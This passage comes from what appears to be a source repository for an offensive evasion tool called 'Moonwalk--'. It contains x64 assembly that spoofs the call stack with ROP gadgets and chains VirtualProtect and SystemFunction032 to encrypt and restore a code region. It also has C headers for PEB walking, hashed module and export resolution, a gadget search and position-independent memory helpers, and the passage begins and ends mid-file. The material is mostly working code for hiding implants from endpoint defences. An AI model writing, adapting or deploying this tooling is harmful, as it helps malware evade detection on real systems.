rax ; <-- spoofed function 265 | 266 | push r11 267 | push r10 268 | push r9 269 | push r8 270 | push rcx 271 | 272 | push [r11].SPOOFER.PopRegsGadget 273 | 274 | push rdx 275 | push [r11].SPOOFER.PopRdxGadget 276 | 277 | sub rsp, 028h 278 | sub rsp, 028h 279 | push [r11].SPOOFER.AddRsp28Gadget 280 | push [r11].SPOOFER.AddRsp28Gadget 281 | 282 | sub rsp, 028h 283 | push [r11].SPOOFER.AddRsp28Gadget 284 | 285 | ; Virtual Protect 286 | push [r11].SPOOFER.VirtualProtectAddress 287 | 288 | push 1 ; r11 289 | push 1 ; r10 290 | push [r11].SPOOFER.OldProtection ; r9 291 | push 020h ; r8 292 | push [r11].SPOOFER.CodeBaseAddress ; rcx 293 | 294 | push [r11].SPOOFER.PopRegsGadget 295 | 296 | push [r11].SPOOFER.CodeBaseSize ; rdx 297 | push [r11].SPOOFER.PopRdxGadget 298 | 299 | sub rsp, 028h 300 | push [r11].SPOOFER.AddRsp28Gadget 301 | 302 | ; SystemFunction032 303 | push [r11].SPOOFER.SystemFunction032Address 304 | 305 | push 1 ; r11 306 | push 1 ; r10 307 | push 1 ; r9 308 | push 1 ; r8 309 | push [r11].SPOOFER.DataStructPointer 310 | 311 | push [r11].SPOOFER.PopRegsGadget 312 | 313 | push [r11].SPOOFER.KeyStructPointer 314 | push [r11].SPOOFER.PopRdxGadget 315 | 316 | sub rsp, 028h 317 | push [r11].SPOOFER.AddRsp28Gadget 318 | 319 | 320 | ; Virtual Protect 321 | push [r11].SPOOFER.VirtualProtectAddress 322 | 323 | int 3 324 | push [r11].SPOOFER.CodeBaseSize ; rdx 325 | push [r11].SPOOFER.PopRdxGadget 326 | 327 | push 1 ; r11 328 | push 1 ; r10 329 | push [r11].SPOOFER.OldProtection ; r9 330 | push 040h ; r8 331 | push [r11].SPOOFER.CodeBaseAddress ; rcx 332 | 333 | push [r11].SPOOFER.PopRegsGadget 334 | 335 | 336 | ret 337 | 338 | 339 | execute endp 340 | 341 | 342 | end -------------------------------------------------------------------------------- /Moonwalk--/include/Common.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifndef COMMON_H_INCLUDED 4 | #define COMMON_H_INCLUDED 5 | 6 | #include 7 | #include 8 | #include 9 | #include "AddressHunter.h" 10 | 11 | #ifndef _OUTPUT 12 | #define _OUTPUT 1 13 | #endif // !_OUTPUT 14 | 15 | #define MINIMUM_JUMP_SIZE 0x500 16 | #define WILDCARD_BYTE 0xCC 17 | #define SEED 123456 18 | #define MAX_FRAMES 154 19 | // Remove if you have a self-made definition of memcmp 20 | #define MemCompare custom_memcmp 21 | #define MemCopy custom_memcpy 22 | // Using custom printf 23 | #define printf custom_printf 24 | #define memset custom_memset 25 | void custom_printf(const char* pszFormat, ...); 26 | 27 | // Removing malloc deps 28 | #undef malloc 29 | #define malloc(x) PICHeapAlloc(x) 30 | 31 | #undef realloc 32 | #define realloc(x,s) PICHeapReAlloc(x, s) 33 | 34 | #undef free 35 | #define free(x) PICHeapFree(x) 36 | 37 | // Removing memset deps 38 | void* custom_memset(void* dest, int c, size_t count); 39 | 40 | #ifdef _DEBUG 41 | #define DPRINT(...) { printf(__VA_ARGS__); } 42 | #else 43 | #define DPRINT(...) {} 44 | #endif 45 | #define HIDWORD(l) ((DWORD)(((DWORDLONG)(l)>>32)&0xFFFFFFFF)) 46 | 47 | #define BitVal(data,y) ( (data>>y) & 1) 48 | 49 | #define BitChainInfo(data) BitVal(data, 2) 50 | #define BitUHandler(data) BitVal(data, 1) 51 | #define BitEHandler(data) BitVal(data, 0) 52 | #define Version(data) BitVal(data, 4)*2 + BitVal(data, 3) 53 | 54 | #define BYTE_TO_BINARY_PATTERN "%c%c%c%c%c%c%c%c" 55 | #define B2BP BYTE_TO_BINARY_PATTERN 56 | #define BYTE_TO_BINARY(byte) \ 57 | (byte & 0x80 ? '1' : '0'), \ 58 | (byte & 0x40 ? '1' : '0'), \ 59 | (byte & 0x20 ? '1' : '0'), \ 60 | (byte & 0x10 ? '1' : '0'), \ 61 | (byte & 0x08 ? '1' : '0'), \ 62 | (byte & 0x04 ? '1' : '0'), \ 63 | (byte & 0x02 ? '1' : '0'), \ 64 | (byte & 0x01 ? '1' : '0') 65 | 66 | 67 | typedef struct _USTRING { 68 | DWORD Length; 69 | DWORD MaximumLength; 70 | PUCHAR Buffer; 71 | } USTRING, *PUSTRING; 72 | 73 | typedef UCHAR UBYTE; 74 | 75 | typedef enum _REGISTERS { 76 | RAX = 0, 77 | RCX, 78 | RDX, 79 | RBX, 80 | RSP, 81 | RBP, 82 | RSI, 83 | RDI, 84 | R8, 85 | R9, 86 | R10, 87 | R11, 88 | R12, 89 | R13, 90 | R14, 91 | R15 92 | } REGISTERS; 93 | 94 | 95 | typedef union _UNWIND_CODE { 96 | struct { 97 | UBYTE CodeOffset; // 0xFF00 98 | UBYTE UnwindOp : 4; // 0x000f OPCODE 99 | UBYTE OpInfo : 4; // 0x00f0 100 | }; 101 | USHORT FrameOffset; 102 | } UNWIND_CODE, * PUNWIND_CODE; 103 | 104 | typedef struct _UNWIND_INFO { 105 | UBYTE Version : 3; 106 | UBYTE Flags : 5; // 4 bytes 107 | UBYTE SizeOfProlog; // 4 bytes 108 | UBYTE CountOfCodes; // 4 bytes 109 | UBYTE FrameRegister : 4; 110 | UBYTE FrameOffset : 4; // 4bytes 111 | UNWIND_CODE UnwindCode[1]; 112 | union { 113 | OPTIONAL ULONG ExceptionHandler; 114 | OPTIONAL ULONG FunctionEntry; 115 | }; 116 | OPTIONAL ULONG* ExceptionData; 117 | } UNWIND_INFO, * PUNWIND_INFO; 118 | 119 | #define GetUnwindCodeEntry(info, index) \ 120 | ((info)->UnwindCode[index]) 121 | 122 | #define GetLanguageSpecificDataPtr(info) \ 123 | ((PVOID)&GetUnwindCodeEntry((info),((info)->CountOfCodes + 1) & ~1)) 124 | 125 | #define GetExceptionHandler(base, info) \ 126 | ((PEXCEPTION_ROUTINE)((base) + *(PULONG)GetLanguageSpecificDataPtr(info))) 127 | 128 | #define GetChainedFunctionEntry(base, info) \ 129 | ((PRUNTIME_FUNCTION)((base) + *(PULONG)GetLanguageSpecificDataPtr(info))) 130 | 131 | #define GetExceptionDataPtr(info) \ 132 | ((PVOID)((PULONG)GetLanguageSpecificDataPtr(info) + 1)) 133 | 134 | #if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) 135 | #define ADDRESS ADDRESS64 136 | #define LPADDRESS LPADDRESS64 137 | #else 138 | typedef struct _tagADDRESS { 139 | DWORD Offset; 140 | WORD Segment; 141 | ADDRESS_MODE Mode; 142 | } ADDRESS, * LPADDRESS; 143 | #endif 144 | 145 | typedef struct _MIN_CTX { 146 | 147 | DWORD64 Rax; 148 | DWORD64 Rcx; 149 | DWORD64 Rdx; 150 | DWORD64 Rbx; 151 | DWORD64 Rsp; 152 | DWORD64 Rbp; 153 | DWORD64 Rsi; 154 | DWORD64 Rdi; 155 | DWORD64 R8; 156 | DWORD64 R9; 157 | DWORD64 R10; 158 | DWORD64 R11; 159 | DWORD64 R12; 160 | DWORD64 R13; 161 | DWORD64 R14; 162 | DWORD64 R15; 163 | 164 | DWORD64 Rip; 165 | DWORD64 Reserved; 166 | DWORD64 StackSize; 167 | 168 | } MIN_CTX, *PMIN_CTX; 169 | 170 | typedef enum _UNWIND_OP_CODES { 171 | // x86_64. https://docs.microsoft.com/en-us/cpp/build/exception-handling-x64. 172 | UWOP_PUSH_NONVOL = 0, 173 | UWOP_ALLOC_LARGE, // 1 174 | UWOP_ALLOC_SMALL, // 2 175 | UWOP_SET_FPREG, // 3 176 | UWOP_SAVE_NONVOL, // 4 177 | UWOP_SAVE_NONVOL_BIG, // 5 178 | UWOP_EPILOG, // 6 179 | UWOP_SPARE_CODE, // 7 180 | UWOP_SAVE_XMM128, // 8 181 | UWOP_SAVE_XMM128BIG, // 9 182 | UWOP_PUSH_MACH_FRAME, // 10 183 | 184 | // ARM64. https://docs.microsoft.com/en-us/cpp/build/arm64-exception-handling 185 | UWOP_ALLOC_MEDIUM, 186 | UWOP_SAVE_R19R20X, 187 | UWOP_SAVE_FPLRX, 188 | UWOP_SAVE_FPLR, 189 | UWOP_SAVE_REG, 190 | UWOP_SAVE_REGX, 191 | UWOP_SAVE_REGP, 192 | UWOP_SAVE_REGPX, 193 | UWOP_SAVE_LRPAIR, 194 | UWOP_SAVE_FREG, 195 | UWOP_SAVE_FREGX, 196 | UWOP_SAVE_FREGP, 197 | UWOP_SAVE_FREGPX, 198 | UWOP_SET_FP, 199 | UWOP_ADD_FP, 200 | UWOP_NOP, 201 | UWOP_END, 202 | UWOP_SAVE_NEXT, 203 | UWOP_TRAP_FRAME, 204 | UWOP_CONTEXT, 205 | UWOP_CLEAR_UNWOUND_TO_CALL, 206 | // ARM: https://docs.microsoft.com/en-us/cpp/build/arm-exception-handling 207 | 208 | UWOP_ALLOC_HUGE, 209 | UWOP_WIDE_ALLOC_MEDIUM, 210 | UWOP_WIDE_ALLOC_LARGE, 211 | UWOP_WIDE_ALLOC_HUGE, 212 | 213 | UWOP_WIDE_SAVE_REG_MASK, 214 | UWOP_WIDE_SAVE_SP, 215 | UWOP_SAVE_REGS_R4R7LR, 216 | UWOP_WIDE_SAVE_REGS_R4R11LR, 217 | UWOP_SAVE_FREG_D8D15, 218 | UWOP_SAVE_REG_MASK, 219 | UWOP_SAVE_LR, 220 | UWOP_SAVE_FREG_D0D15, 221 | UWOP_SAVE_FREG_D16D31, 222 | UWOP_WIDE_NOP, // UWOP_NOP 223 | UWOP_END_NOP, // UWOP_END 224 | UWOP_WIDE_END_NOP, 225 | // Custom implementation opcodes (implementation specific). 226 | UWOP_CUSTOM, 227 | } UNWIND_OP_CODES; 228 | 229 | // Stack allocations use UOP_AllocSmall, UOP_AllocLarge from above, plus 230 | // the following. AllocSmall, AllocLarge and AllocHuge represent a 16 bit 231 | // instruction, while the WideAlloc* opcodes represent a 32 bit instruction. 232 | // Small can represent a stack offset of 0x7f*4 (252) bytes, Medium can 233 | // represent up to 0x3ff*4 (4092) bytes, Large up to 0xffff*4 (262140) bytes, 234 | // and Huge up to 0xffffff*4 (67108860) bytes. 235 | 236 | 237 | #if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) 238 | #define STACKFRAME STACKFRAME64 239 | #define LPSTACKFRAME LPSTACKFRAME64 240 | #else 241 | typedef struct _tagSTACKFRAME { 242 | ADDRESS AddrPC; 243 | ADDRESS AddrReturn; 244 | ADDRESS AddrFrame; 245 | ADDRESS AddrStack; 246 | PVOID FuncTableEntry; 247 | DWORD Params[4]; 248 | BOOL Far; 249 | BOOL Virtual; 250 | DWORD Reserved[3]; 251 | KDHELP KdHelp; 252 | ADDRESS AddrBStore; 253 | } STACKFRAME, * LPSTACKFRAME; 254 | #endif 255 | 256 | 257 | BYTE ExtractOpInfo(BYTE OpIC) { 258 | return OpIC >> 4; 259 | } 260 | 261 | BYTE ExtractOpCode(BYTE OpIC) { 262 | return OpIC & 0x0F; 263 | } 264 | 265 | #if _OUTPUT == 1 266 | size_t internal_strlen(const char* str) { 267 | const char* s = str; 268 | while (*s) ++s; 269 | return s - str; 270 | } 271 | 272 | void custom_printf(const char* pszFormat, ...) { 273 | char buf[1024]; 274 | va_list argList; 275 | va_start(argList, pszFormat); 276 | wvsprintfA(buf, pszFormat, argList); 277 | va_end(argList); 278 | DWORD done; 279 | WriteFile(GetStdHandle(STD_OUTPUT_HANDLE), buf, (DWORD)internal_strlen(buf), &done, NULL); 280 | } 281 | #else 282 | void custom_printf(const char* pszFormat, ...) {}; 283 | #endif 284 | 285 | void* custom_memset(void* dest, int val, size_t len) { 286 | for (char* dst = (char*)dest; len != 0; len--) { 287 | *dst++ = val; 288 | } 289 | return dest; 290 | } 291 | 292 | void* custom_memcpy(void* dest, void* src, unsigned int len) 293 | { 294 | unsigned int i; 295 | char* char_src = (char*)src; 296 | char* char_dest = (char*)dest; 297 | for (i = 0; i < len; i++) { 298 | char_dest[i] = char_src[i]; 299 | } 300 | return dest; 301 | } 302 | 303 | 304 | int custom_memcmp(const void* buf1, const void* buf2, unsigned int len) 305 | { 306 | unsigned int i = 0; 307 | unsigned char* char_buf1 = (unsigned char*)buf1; 308 | unsigned char* char_buf2 = (unsigned char*)buf2; 309 | for (i = 0; i < len; i++) { 310 | if (char_buf1[i] < char_buf2[i]) { 311 | return -1; 312 | } 313 | else if (char_buf1[i] > char_buf2[i]) { 314 | return 1; 315 | } 316 | } 317 | return 0; 318 | } 319 | 320 | 321 | int rand(unsigned long int next) // RAND_MAX assumed as 256 + 20 322 | { 323 | next = next * 1103515245 + 12345; 324 | return ((unsigned int)(next / 65536) % 0x7f) + 0x20; 325 | } 326 | 327 | #endif 328 | 329 | 330 | #define WILDCARD_BYTE 0xCC 331 | BOOL SearchGadget( 332 | HMODULE hMod, 333 | byte pattern[], 334 | DWORD dwLenPattern, 335 | PVOID* ppGadgetAddress, 336 | DWORD* pStartOffset // offset within .text section 337 | ) { 338 | BOOL bSuccess = FALSE; 339 | PVOID pBufTextMemory = NULL; 340 | DWORD sizeText = 0; 341 | DWORD textSectionVA = 0; 342 | 343 | PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)hMod; 344 | PIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS)((BYTE*)hMod + pDosHdr->e_lfanew); 345 | PIMAGE_SECTION_HEADER pSectionHdr = (PIMAGE_SECTION_HEADER)((BYTE*)&pNtHdrs->OptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER)); 346 | 347 | char text[] = { '.', 't','e','x','t', 0x00 }; 348 | 349 | for (int i = 0; i < pNtHdrs->FileHeader.NumberOfSections; i++) { 350 | if (my_strcmp((char*)pSectionHdr->Name, text) == 0) { 351 | pBufTextMemory = PICVirtualAlloc(pSectionHdr->Misc.VirtualSize, PAGE_READWRITE); 352 | if (pBufTextMemory == NULL) 353 | return FALSE; 354 | 355 | custom_memcpy(pBufTextMemory, (byte*)((byte*)hMod + pSectionHdr->VirtualAddress), pSectionHdr->Misc.VirtualSize); 356 | sizeText = pSectionHdr->Misc.VirtualSize; 357 | textSectionVA = pSectionHdr->VirtualAddress; 358 | break; 359 | } 360 | 361 | pSectionHdr = (PIMAGE_SECTION_HEADER)((BYTE*)pSectionHdr + sizeof(IMAGE_SECTION_HEADER)); 362 | } 363 | 364 | if (pBufTextMemory == NULL) 365 | return FALSE; 366 | 367 | DWORD start = (pStartOffset != NULL) ? *pStartOffset : 0; 368 | 369 | for (DWORD i = start; i <= sizeText - dwLenPattern; i++) { 370 | BOOL match = TRUE; 371 | 372 | for (DWORD j = 0; j < dwLenPattern; j++) { 373 | BYTE current = *((BYTE*)pBufTextMemory + i + j); 374 | 375 | if (pattern[j] != WILDCARD_BYTE && current != pattern[j]) { 376 | match = FALSE; 377 | break; 378 | } 379 | } 380 | 381 | if (match) { 382 | *ppGadgetAddress = (BYTE*)hMod + textSectionVA + i; 383 | 384 | if (pStartOffset) 385 | *pStartOffset = i + 1; 386 | 387 | bSuccess = TRUE; 388 | break; 389 | } 390 | } 391 | 392 | if (pBufTextMemory) 393 | PICVirtualFree(pBufTextMemory); 394 | 395 | return bSuccess; 396 | } 397 | -------------------------------------------------------------------------------- /Moonwalk--/include/AddressHunter.h: -------------------------------------------------------------------------------- 1 | // https://raw.githubusercontent.com/paranoidninja/PIC-Get-Privileges/main/addresshunter.h 2 | #define _CRT_SECURE_NO_WARNINGS 1 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | 9 | #define DEREF( name )*(UINT_PTR *)(name) 10 | #define DEREF_64( name )*(DWORD64 *)(name) 11 | #define DEREF_32( name )*(DWORD *)(name) 12 | #define DEREF_16( name )*(WORD *)(name) 13 | #define DEREF_8( name )*(BYTE *)(name) 14 | 15 | #define KERNELBASE_HASH 0xc42f2982 16 | #define KERNEL32DLL_HASH 0xbc5d4571 17 | #define MSVCRTDLL_HASH 0xc3222c90 18 | #define ADVAPI32DLL_HASH 0x8353484b 19 | #define NTDLL_HASH 0x4f576ca1 20 | #define MSHTML_HASH 0xf60d3eb8 21 | 22 | #define FH_RND_SEED 0xDC072B8A 23 | #define ROL8(v) (v << 8 | v >> 24) 24 | #define ROR8(v) (v >> 8 | v << 24) 25 | #define ROX8(v) ((FH_RND_SEED % 2) ? ROL8(v) : ROR8(v)) 26 | 27 | // Internal types 28 | typedef LPVOID(WINAPI* HeapAllocType)(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); 29 | typedef LPVOID(WINAPI* HeapReAllocType)(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes); 30 | typedef BOOL(WINAPI* HeapFreeType)(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem); 31 | typedef HANDLE(WINAPI* GetProcessHeapType)(); 32 | typedef SIZE_T(WINAPI* VirtualQueryType)(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength); 33 | typedef HANDLE(WINAPI* OpenProcessType)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId); 34 | typedef DWORD(WINAPI* GetCurrentProcessIdType)(); 35 | typedef HMODULE(WINAPI* LoadLibraryAType)(LPCSTR lpLibFileName); 36 | typedef void(WINAPI* SleepType)(DWORD dwMilliseconds); 37 | typedef BOOL(WINAPI* TerminateProcessType)(HANDLE hProcess, UINT uExitCode); 38 | #define KillProcType TerminateProcessType 39 | 40 | typedef DWORD(WINAPI* ResumeThreadType)(HANDLE hThread); 41 | typedef BOOL(WINAPI* GetThreadContextType)(HANDLE hThread, LPCONTEXT lpContext); 42 | typedef BOOL(WINAPI* SetThreadContextType)(HANDLE hThread, const CONTEXT* lpContext); 43 | typedef BOOL(WINAPI* VirtualFreeType)(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); 44 | typedef LPVOID(WINAPI* VirtualAllocType)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 45 | typedef BOOL(WINAPI* WriteProcessMemoryType)(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten); 46 | typedef HANDLE(WINAPI* OpenProcessType)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId); 47 | typedef LPVOID(WINAPI* VirtualAllocExType)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 48 | typedef HANDLE(WINAPI* CreateThreadType)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); 49 | typedef NTSTATUS(NTAPI* NtCreateThreadExType)(PHANDLE, ACCESS_MASK, LPVOID, HANDLE, LPTHREAD_START_ROUTINE, LPVOID, ULONG, ULONG_PTR, SIZE_T, SIZE_T, LPVOID); 50 | typedef BOOL(WINAPI* TerminateThreadType)(HANDLE hThread, DWORD dwExitCode); 51 | typedef BOOL(WINAPI* VirtualProtectExType)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); 52 | 53 | typedef PIMAGE_RUNTIME_FUNCTION_ENTRY PERF; 54 | 55 | typedef struct _dll { 56 | 57 | HMODULE Handle; 58 | UINT64 TextSectionAddress; 59 | UINT64 TextSectionSize; 60 | PIMAGE_EXPORT_DIRECTORY ExportDirectory; 61 | PERF ExceptionTable; 62 | DWORD ExceptionTableLastEntryIndex; 63 | 64 | } DLL, * PDLL; 65 | 66 | //redefine UNICODE_STR struct 67 | typedef struct _UNICODE_STR 68 | { 69 | USHORT Length; 70 | USHORT MaximumLength; 71 | PWSTR pBuffer; 72 | } UNICODE_STR, * PUNICODE_STR; 73 | 74 | //redefine PEB_LDR_DATA struct 75 | typedef struct _PEB_LDR_DATA 76 | { 77 | DWORD dwLength; 78 | DWORD dwInitialized; 79 | LPVOID lpSsHandle; 80 | LIST_ENTRY InLoadOrderModuleList; 81 | LIST_ENTRY InMemoryOrderModuleList; 82 | LIST_ENTRY InInitializationOrderModuleList; 83 | LPVOID lpEntryInProgress; 84 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 85 | 86 | //redefine LDR_DATA_TABLE_ENTRY struct 87 | typedef struct _LDR_DATA_TABLE_ENTRY 88 | { 89 | LIST_ENTRY InMemoryOrderModuleList; 90 | LIST_ENTRY InInitializationOrderModuleList; 91 | PVOID DllBase; 92 | PVOID EntryPoint; 93 | ULONG SizeOfImage; 94 | UNICODE_STR FullDllName; 95 | UNICODE_STR BaseDllName; 96 | ULONG Flags; 97 | SHORT LoadCount; 98 | SHORT TlsIndex; 99 | LIST_ENTRY HashTableEntry; 100 | ULONG TimeDateStamp; 101 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 102 | 103 | //redefine PEB_FREE_BLOCK struct 104 | typedef struct _PEB_FREE_BLOCK 105 | { 106 | struct _PEB_FREE_BLOCK* pNext; 107 | DWORD dwSize; 108 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 109 | 110 | //redefine PEB struct 111 | typedef struct __PEB 112 | { 113 | BYTE bInheritedAddressSpace; 114 | BYTE bReadImageFileExecOptions; 115 | BYTE bBeingDebugged; 116 | BYTE bSpareBool; 117 | LPVOID lpMutant; 118 | LPVOID lpImageBaseAddress; 119 | PPEB_LDR_DATA pLdr; 120 | LPVOID lpProcessParameters; 121 | LPVOID lpSubSystemData; 122 | LPVOID lpProcessHeap; 123 | PRTL_CRITICAL_SECTION pFastPebLock; 124 | LPVOID lpFastPebLockRoutine; 125 | LPVOID lpFastPebUnlockRoutine; 126 | DWORD dwEnvironmentUpdateCount; 127 | LPVOID lpKernelCallbackTable; 128 | DWORD dwSystemReserved; 129 | DWORD dwAtlThunkSListPtr32; 130 | PPEB_FREE_BLOCK pFreeList; 131 | DWORD dwTlsExpansionCounter; 132 | LPVOID lpTlsBitmap; 133 | DWORD dwTlsBitmapBits[2]; 134 | LPVOID lpReadOnlySharedMemoryBase; 135 | LPVOID lpReadOnlySharedMemoryHeap; 136 | LPVOID lpReadOnlyStaticServerData; 137 | LPVOID lpAnsiCodePageData; 138 | LPVOID lpOemCodePageData; 139 | LPVOID lpUnicodeCaseTableData; 140 | DWORD dwNumberOfProcessors; 141 | DWORD dwNtGlobalFlag; 142 | LARGE_INTEGER liCriticalSectionTimeout; 143 | DWORD dwHeapSegmentReserve; 144 | DWORD dwHeapSegmentCommit; 145 | DWORD dwHeapDeCommitTotalFreeThreshold; 146 | DWORD dwHeapDeCommitFreeBlockThreshold; 147 | DWORD dwNumberOfHeaps; 148 | DWORD dwMaximumNumberOfHeaps; 149 | LPVOID lpProcessHeaps; 150 | LPVOID lpGdiSharedHandleTable; 151 | LPVOID lpProcessStarterHelper; 152 | DWORD dwGdiDCAttributeList; 153 | LPVOID lpLoaderLock; 154 | DWORD dwOSMajorVersion; 155 | DWORD dwOSMinorVersion; 156 | WORD wOSBuildNumber; 157 | WORD wOSCSDVersion; 158 | DWORD dwOSPlatformId; 159 | DWORD dwImageSubsystem; 160 | DWORD dwImageSubsystemMajorVersion; 161 | DWORD dwImageSubsystemMinorVersion; 162 | DWORD dwImageProcessAffinityMask; 163 | DWORD dwGdiHandleBuffer[34]; 164 | LPVOID lpPostProcessInitRoutine; 165 | LPVOID lpTlsExpansionBitmap; 166 | DWORD dwTlsExpansionBitmapBits[32]; 167 | DWORD dwSessionId; 168 | ULARGE_INTEGER liAppCompatFlags; 169 | ULARGE_INTEGER liAppCompatFlagsUser; 170 | LPVOID lppShimData; 171 | LPVOID lpAppCompatInfo; 172 | UNICODE_STR usCSDVersion; 173 | LPVOID lpActivationContextData; 174 | LPVOID lpProcessAssemblyStorageMap; 175 | LPVOID lpSystemDefaultActivationContextData; 176 | LPVOID lpSystemAssemblyStorageMap; 177 | DWORD dwMinimumStackCommit; 178 | } _PEB, * _PPEB; 179 | 180 | uintptr_t GetRemoteImageBase(DWORD pid) { 181 | HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid); 182 | MODULEENTRY32 me = { sizeof me }; 183 | if (Module32First(hSnap, &me)) { 184 | CloseHandle(hSnap); 185 | return (uintptr_t)me.modBaseAddr; 186 | } 187 | CloseHandle(hSnap); 188 | return 0; 189 | } 190 | 191 | DWORD HashModule(PCSTR ModuleName, size_t length) 192 | { 193 | DWORD i = 0; 194 | DWORD Hash = FH_RND_SEED; 195 | 196 | while (i < length / 2) 197 | { 198 | WORD PartialName = *(WORD*)((ULONG64)ModuleName + i++) | 0x20202020; 199 | Hash ^= PartialName + ROR8(Hash); 200 | } 201 | return Hash; 202 | } 203 | 204 | // function to fetch the base address of a Mmodule from the Process Environment Block 205 | UINT64 GetModule(DWORD TargetHash) { 206 | ULONG_PTR dll, val1; 207 | PWSTR val2; 208 | USHORT usCounter; 209 | // We want to stop when we find this 210 | DWORD firstHash = 0; 211 | 212 | // PEB is at 0x60 offset and __readgsqword is compiler intrinsic, 213 | // so we don't need to extract it's symbol 214 | dll = __readgsqword(0x60); 215 | 216 | dll = (ULONG_PTR)((_PPEB)dll)->pLdr; 217 | val1 = (ULONG_PTR)((PPEB_LDR_DATA)dll)->InMemoryOrderModuleList.Flink; 218 | 219 | while (NULL != val1) { 220 | val2 = (PWSTR)((PLDR_DATA_TABLE_ENTRY)val1)->BaseDllName.pBuffer; 221 | usCounter = (USHORT)((PLDR_DATA_TABLE_ENTRY)val1)->BaseDllName.Length; 222 | 223 | //calculate the hash of module 224 | DWORD Hash = HashModule((PCSTR)val2, usCounter); 225 | if (firstHash == 0) { 226 | firstHash = Hash; 227 | } 228 | else if (firstHash == Hash) { 229 | break; 230 | } 231 | 232 | //wprintf(L"%s: %u\n --> Hash: %x - Target: %x\n", (WCHAR*)val2, usCounter, Hash, TargetHash); 233 | 234 | // compare the hash of module 235 | if (Hash == TargetHash) { 236 | //return module address if found 237 | dll = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)val1)->DllBase; 238 | return dll; 239 | } 240 | val1 = DEREF(val1); 241 | } 242 | return 0; 243 | } 244 | 245 | // custom strcmp function since this function will be called by GetSymbolAddress 246 | // which means we have to call strcmp before loading msvcrt.dll 247 | // so we are writing our own my_strcmp so that we don't have to play with egg or chicken dilemma 248 | int my_strcmp(const char* p1, const char* p2) { 249 | const unsigned char* s1 = (const unsigned char*)p1; 250 | const unsigned char* s2 = (const unsigned char*)p2; 251 | unsigned char c1, c2; 252 | do { 253 | c1 = (unsigned char)*s1++; 254 | c2 = (unsigned char)*s2++; 255 | if (c1 == '\0') { 256 | return c1 - c2; 257 | } 258 | } while (c1 == c2); 259 | return c1 - c2; 260 | } 261 | 262 | UINT64 GetFirstModule() { 263 | ULONG_PTR dll, val1; 264 | 265 | dll = __readgsqword(0x60); 266 | dll = (ULONG_PTR)((_PPEB)dll)->pLdr; 267 | val1 = (ULONG_PTR)((PPEB_LDR_DATA)dll)->InMemoryOrderModuleList.Flink; 268 | dll = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)val1)->DllBase; 269 | return dll; 270 | } 271 | 272 | VOID GetModuleTextSection(PDLL dllObject) { 273 | 274 | dllObject->Handle = (HMODULE)GetFirstModule(); 275 | 276 | if (NULL != dllObject) { 277 | PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllObject->Handle + ((PIMAGE_DOS_HEADER)dllObject->Handle)->e_lfanew); 278 | 279 | WORD nSections = ntHeaders->FileHeader.NumberOfSections; 280 | PIMAGE_SECTION_HEADER Section = IMAGE_FIRST_SECTION(ntHeaders); 281 | for (WORD i = 0; i < nSections; i++) 282 | { 283 | 284 | if (!my_strcmp((char*)Section->Name, (char*)".text")) { 285 | 286 | dllObject->TextSectionAddress = Section->VirtualAddress; 287 | dllObject->TextSectionSize = Section->SizeOfRawData; 288 | break; 289 | } 290 | Section++; 291 | } 292 | } 293 | } 294 | 295 | 296 | UINT64 GetSymbolAddress(HMODULE hModule, LPCSTR lpProcName) { 297 | UINT64 dllAddress = (UINT64)hModule, 298 | symbolAddress = 0, 299 | exportedAddressTable = 0, 300 | namePointerTable = 0, 301 | ordinalTable = 0; 302 | 303 | if (hModule == NULL) { 304 | return 0; 305 | } 306 | 307 | PIMAGE_NT_HEADERS ntHeaders = NULL; 308 | PIMAGE_DATA_DIRECTORY dataDirectory = NULL; 309 | PIMAGE_EXPORT_DIRECTORY exportDirectory = NULL; 310 | 311 | ntHeaders = (PIMAGE_NT_HEADERS)(dllAddress + ((PIMAGE_DOS_HEADER)dllAddress)->e_lfanew); 312 | dataDirectory = (PIMAGE_DATA_DIRECTORY)&ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 313 | exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dllAddress + dataDirectory->VirtualAddress); 314 | 315 | exportedAddressTable = (dllAddress + exportDirectory->AddressOfFunctions); 316 | namePointerTable = (dllAddress + exportDirectory->AddressOfNames); 317 | ordinalTable = (dllAddress + exportDirectory->AddressOfNameOrdinals); 318 | 319 | if (((UINT64)lpProcName & 0xFFFF0000) == 0x00000000) { 320 | exportedAddressTable += ((IMAGE_ORDINAL((UINT64)lpProcName) - exportDirectory->Base) * sizeof(DWORD)); 321 | symbolAddress = (UINT64)(dllAddress + DEREF_32(exportedAddressTable)); 322 | } 323 | else { 324 | DWORD dwCounter = exportDirectory->NumberOfNames; 325 | while (dwCounter--) { 326 | 